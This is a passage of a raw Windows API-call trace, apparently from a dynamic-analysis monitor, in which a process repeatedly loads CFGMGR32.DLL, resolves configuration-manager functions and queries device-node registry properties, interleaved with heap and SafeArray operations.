[0210.934] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c270 [0210.934] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0210.934] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0210.934] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0210.934] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b50 [0210.934] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0210.934] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0210.934] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0210.934] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0210.935] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.935] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799d8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.935] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799e0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.935] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799e8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0210.936] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b50) returned 1 [0210.936] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c270) returned 1 [0211.048] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.048] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.049] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.050] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.051] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.051] malloc (_Size=0x18) returned 0x20abc281f00 [0211.051] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0211.052] malloc (_Size=0x10e) returned 0x20abc286890 [0211.052] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0211.053] free (_Block=0x20abc286890) [0211.053] malloc (_Size=0x48) returned 0x20abc2a8280 [0211.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x39900b8e, dwHighDateTime=0x1d9eb0c)) [0211.054] SetEvent (hEvent=0x248) returned 1 [0211.057] malloc (_Size=0x18) returned 0x20abc281fa0 [0211.057] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0211.057] free (_Block=0x20abc281fa0) [0211.057] malloc (_Size=0x18) returned 0x20abc281b40 [0211.057] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0211.058] free (_Block=0x20abc281b40) [0211.058] malloc (_Size=0x18) returned 0x20abc281e60 [0211.058] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0211.058] free (_Block=0x20abc281e60) [0211.058] malloc (_Size=0x18) returned 0x20abc281a00 [0211.058] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0211.058] free (_Block=0x20abc281a00) [0211.058] malloc (_Size=0x18) returned 0x20abc281d60 [0211.058] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0211.058] free (_Block=0x20abc281d60) [0211.058] malloc (_Size=0x18) returned 0x20abc281ae0 [0211.058] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0211.058] free (_Block=0x20abc281ae0) [0211.058] malloc (_Size=0x18) returned 0x20abc282000 [0211.058] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0211.058] free (_Block=0x20abc282000) [0211.058] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c870 [0211.058] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0211.059] SafeArrayGetLBound (in: psa=0x20abba805d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0211.059] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0211.059] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79b80 [0211.059] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0211.059] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0211.059] SafeArrayGetElemsize (psa=0x20abba805d0) returned 0x8 [0211.059] SafeArrayGetElement (in: psa=0x20abba805d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0211.059] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffc0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.059] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffc8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.060] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffd0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.060] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffd8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.060] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffe0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.060] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7ffe8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.060] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba7fff0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.062] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79b80) returned 1 [0211.063] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c870) returned 1 [0211.064] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.064] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.067] malloc (_Size=0x18) returned 0x20abc281c80 [0211.068] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0211.072] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39927bca, dwHighDateTime=0x1d9eb0c)) [0211.072] SetEvent (hEvent=0x248) returned 1 [0211.078] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.078] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.082] malloc (_Size=0x18) returned 0x20abc282020 [0211.083] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0211.083] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3994cf3d, dwHighDateTime=0x1d9eb0c)) [0211.083] SetEvent (hEvent=0x248) returned 1 [0211.089] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.089] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.092] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.092] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.092] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.092] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.238] malloc (_Size=0x18) returned 0x20abc281a00 [0211.238] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0211.239] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39ac9816, dwHighDateTime=0x1d9eb0c)) [0211.239] SetEvent (hEvent=0x248) returned 1 [0211.243] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.243] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.246] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.247] malloc (_Size=0x18) returned 0x20abc282020 [0211.247] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0211.247] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39ac9816, dwHighDateTime=0x1d9eb0c)) [0211.248] SetEvent (hEvent=0x248) returned 1 [0211.254] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.254] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.257] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.258] malloc (_Size=0x18) returned 0x20abc281ea0 [0211.258] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0211.262] malloc (_Size=0x48) returned 0x20abc27cf80 [0211.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39aefb12, dwHighDateTime=0x1d9eb0c)) [0211.263] SetEvent (hEvent=0x248) returned 1 [0211.269] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.269] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.270] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.270] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.270] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.270] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.270] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 